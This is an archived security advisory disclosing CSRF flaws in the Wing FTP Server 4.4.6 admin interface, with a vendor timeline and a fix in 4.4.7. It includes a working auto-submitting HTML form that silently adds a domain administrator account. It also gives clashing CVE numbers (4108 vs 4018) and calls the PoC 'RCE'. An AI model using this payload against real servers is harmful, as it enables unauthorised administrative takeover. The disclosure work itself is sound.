Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:32162
HistoryJun 08, 2015 - 12:00 a.m.

[CVE-2015-4108] Wing FTP Server Cross-site Request Forgery vulnerabilities

2015-06-0800:00:00
vulners.com
12

Exploit Title: Wing FTP Server Cross-site Request Forgery vulnerabilities
Product: Wing FTP Server
Vulnerable Versions: 4.4.6 and all previous versions
Tested Version: 4.4.6
Advisory Publication: 05/06/2015
Latest Update: 05/06/2015
Vulnerability Type: Cross-site Request Forgery [CWE-352]
CVE Reference: CVE-2015-4018
Credit: Alex Haynes

Advisory Details:

(1) Vendor & Product Description

Vendor:Wing FTP software

Product & Version:
Wing FTP Server v 4.4.6

Vendor URL & Download:
http://www.wftpserver.com/

Product Description:
"Wing FTP Server is an easy-to-use, secure and feature-rich enterprise FTP Server that can be used in Windows, Linux, Mac OSX and Solaris. It supports a number of file transfer protocols, including FTP, HTTP, FTPS, HTTPS and SFTP server, giving your end-users flexibility in how they connect to the server. And it provides admins with a web based interface to administrate the server from anywhere. You can also monitor server performance and online sessions and even receive email notifications about various events taking place on the server."

(2) Vulnerability Details:

The admin interface of Wing FTP Server is vulnerable to a Cross-site Request Forgery (CSRF) vulnerabilities. All functionalities including (but not limited to), addition and deletion of domain administrators, regular users, starting and stopping servers or creating and deleting FTP domains are vulnerable to Cross-site request Forgeries.

Proof of concept for RCE [CVE-2015-4018]:

POC adds a domain administrator to the FTP server.

<html>
<body>
<form action="http://<server address>:5466/admin_addadmin.html" method="POST">
<input type="hidden" name="admin" value="{&quot;username&quot;:&quot;admin2&quot;,&quot;password&quot;:&quot;admin2&quot;,&quot;oldpassword&quot;:&quot;&quot;,&quot;readonly&quot;:0,&quot;domainadmin&quot;:1,&quot;domainlist&quot;:&quot;test&quot;,&quot;mydirectory&quot;:&quot;&quot;,&quot;ipmasks&quot;:[]}" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

(3) Advisory Timeline:

27/05/2015 - First Contact
27/05/2015 - Vendor responds with requests for details of vulnerabilities.
28/05/2015 - Vulnerability details sent with POC.
28/05/2015 - Vendor requests clarification on impact and various attack scenarios.
28/05/2015 - Vulnerability scenarios defined.
29/05/2015 - Vulnerability confirmed and new version 4.4.7 released. Requests a week delay before public disclosure.
05/06/2015 - Public disclosure

(4)Solution:

Fixed in 4.4.7.

(5) Credits:

Discovered by Alex Haynes

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4018
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-4018